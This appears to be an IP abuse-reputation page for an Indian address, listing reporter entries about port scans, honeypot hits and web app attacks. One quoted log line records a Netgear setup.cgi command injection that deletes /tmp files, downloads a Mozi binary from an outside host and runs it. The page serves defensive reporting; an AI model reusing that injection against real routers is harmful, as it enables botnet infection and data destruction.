103.152.159.107

Activity Trending Down This IP hasn't received reports recently, which causes the score to decay.
Abuse Confidence Score
25% Elevated
25 reports
17 reporters · latest 3 weeks ago
ISP
Jmd Enterprises
Usage Type
Fixed Line ISP
ASN
AS135761
Domain Name
jmdenterprise.co.in
Country
🇮🇳 India
City
Bahadurgarh, Haryana
Log in to view charts and search reports for this IP. Log In
Example preview
Account required for the enhanced features Log in Sign up

Abuse Reports

Total reports
25 from 17 distinct reporters
First reported
Most recent report
Last 60 days
Top reporter locations 🇩🇪 Germany 3 🇺🇸 United States of America 2 🇫🇮 Finland 1
Most common categories Port Scan 4 Web App Attack 3 Hacking 3 Email Spam 1 IoT Targeted 1
Old reports The most recent abuse report for this IP address is from . It is possible that this IP is no longer involved in abusive activities.
Reporter IoA Timestamp (UTC) Comment Categories
🇺🇸 RAP
2026-10-20 13:52:59 UTC Unauthorized activity to TCP port 8080. Web App
Port Scan Web App Attack
🇷🇸 Smel
MH/MP Probe, Scan, Hack -
Port Scan Hacking
🇩🇪 XYCoderXY
Web App Attack IoT Targeted
🇩🇪 Jochen Pretli
connection to honeypot
Email Spam Port Scan
🇫🇮 habs
103.152.159.107 - - [07/Oct/2026:16:23:47 +0300] "POST /HNAP1/ HTTP/1.0" 301 162 "-" "-" ...
Web App Attack
🇺🇸 cwytech
Fleet-wide ban from the Ghostfleet 👻. Triggered by scenario: cwy/pf-geofence-high.
Hacking
Anonymous
denied traffic to a honeypot network. destination port 80.
Port Scan Hacking
🇷🇸 Smel
Unauthorized Probe/Connection, Hack -
Port Scan Hacking
🇺🇸 RAP
2025-08-01 05:39:00 UTC Unauthorized activity to TCP port 8080. Web App
Port Scan Web App Attack
🇺🇸 MPL
tcp/8080 (2 or more attempts)
Port Scan
🇮🇳 Parth Maniar
This IP address carried out 28 port scanning attempts on 28-07-2025. For more information or to report interesting / incorrect findings, give me a shoutout @parthmaniar on Twitter.
Port Scan SSH
🇧🇬 Stoyko Stoykov
103.152.159.107 - - [21/Jul/2025:21:53:58 +0300] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://103.152.159.107:59249/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 301 162 "-" "-" ...
Hacking Web App Attack
🇷🇸 Scan
MultiHost/MultiPort Probe, Scan, Hack -
Port Scan Hacking
Anonymous
Tried our host z.
Port Scan Hacking Exploited Host
🇷🇸 Scan
MultiHost/MultiPort Probe, Scan, Hack -
Port Scan Hacking

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇳🇱 192.42.116.21
🇩🇪 185.220.100.247
🇮🇹 185.197.8.115
🇺🇸 185.141.119.180
🇨🇭 179.43.153.2
🇺🇸 162.216.150.40
🇺🇸 146.70.168.217
🇮🇳 103.19.19.59
🇱🇹 77.90.185.226
🇺🇸 66.132.186.172
🇺🇸 23.234.109.90
🇧🇾 194.158.207.61
🇳🇱 192.42.116.18
🇨🇳 180.153.236.42
🇺🇸 162.216.150.37
🇺🇸 162.216.150.28
🇺🇸 162.216.149.176
🇭🇰 156.225.1.87
🇺🇸 152.32.235.69
🇸🇬 147.90.172.240
feedback